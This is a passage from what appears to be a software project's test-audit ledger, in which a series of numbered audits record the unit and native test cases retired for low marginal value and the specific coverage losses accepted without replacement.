activation selection; unsupported headless wake; positive pending materialization/group projections; per-caller navigation selection; positive SSH hydration/read partition; laptop mobile publication/buffer and background/pending/status projections; abnormal/unregistered SSH grace, normal-exit refusal, persisted SSH hydration, positive serve reattachment, pending-agent launch arguments and direct seeded running-launch admission guard. These are real bounded alarms deliberately retired for low marginal value. Retained cases preserve their own distinct deferred foreground coalescing, usable handle continuity, stale inventory refresh, concurrent browser snapshot preservation, renderer graph fencing, caller dedup isolation, SSH partition writes, runtime split lifetime, independent relay-ready publication, lease admission/state/expiry. The direct running-launch no-spawn guard alarm is deliberately retired; no remaining owning-launch refusal coverage is claimed. Historical runs do not validate reduced callbacks. No equivalent replacement, runtime/native/SSH/WSL/phone/browser result or full transitive closure is claimed. Additional extractor loss: config/scripts/localization/source-extraction/audit-localization-native-dialogs.test.mjs :: does not change the existing renderer scan by default :: Default options must omit the five native-only fields in this supplied snippet. No equivalent replacement is claimed. Historical prior account (preserved verbatim): Audit3814 deliberately retires60 authored/60 finite cases:53runtime compatibility cases,4native XCTest methods and3Python clipboard methods, including the entire StableElementIndexes suite. Clipboard cuts retire the one-over-cap sample, incoming-offer destruction trace and sequential20-copy replay; actual wire, FD/pipe, startup and Xvfb/GTK boundaries remain without equivalent replacement claims. Accepted losses include narrow terminal-send payload/provider projections, legacy and direct no-op/error permutations, timing/work-count examples, private state/title/activity projections and fixture-driven readiness examples, individually enumerated below. These include real bounded production alarms consciously retired for marginal value; retained failed writes, duplicate submission, stale capture, transcript/ring and allocation fences are not equivalent replacements. No fresh native/remote/browser execution or complete transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3806 deliberately retires40 authored/40 finite runtime compatibility cases, including the terminal-side-effect-facts-part03 headless-snapshots-part02 and agent-status-and-waits-part03 fragments, plus20 scalar Swift precondition sites. Lost runtime alarms include status/title/attention projection examples, simple renderer/headless frame restoration and status waiting outcomes detailed in the accepted-loss ledger. Swift cuts retire duplicate generation-map/schema/navigation/bridge and notification-wrapper assertions; no standalone native program is deleted. These include real bounded production alarms consciously retired for marginal value. Retained races, pending writes/reflow, namespace and waiter ownership are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3798 deliberately retires21 authored/24 finite compatibility cases, including the entire SSH-worktree-lifecycle and repository-project-operations fragments. Accepted losses include navigation-only settings acknowledgement, browser session cleanup and host preservation projections, window positive/policy-state examples, terminal recovery/reload and no-incarnation remint examples, terminal listing compatibility/malformed IDs, directory browse/sort/Windows path smoke, SSH create refusal/manual lineage, recursive parent-folder creation and fork/origin/avatar/icon projections. Real bounded production alarms are consciously retired for marginal value; retained authority races, cleanup/clone ownership, pending waiters, nested-folder and scan invalidation cases are not equivalent replacements. No fresh native/remote/browser execution or full transitive closure is claimed. Earlier dated receipts and raw selectors remain historical accounts of prior callback sets. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Previous oracle (preserved verbatim): Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous oracle (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous oracle (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous oracle (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous oracle (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous oracle (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous oracle (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous oracle (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous oracle (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous oracle (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous oracle (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous oracle (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous oracle (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous oracle (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Previous oracle (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or 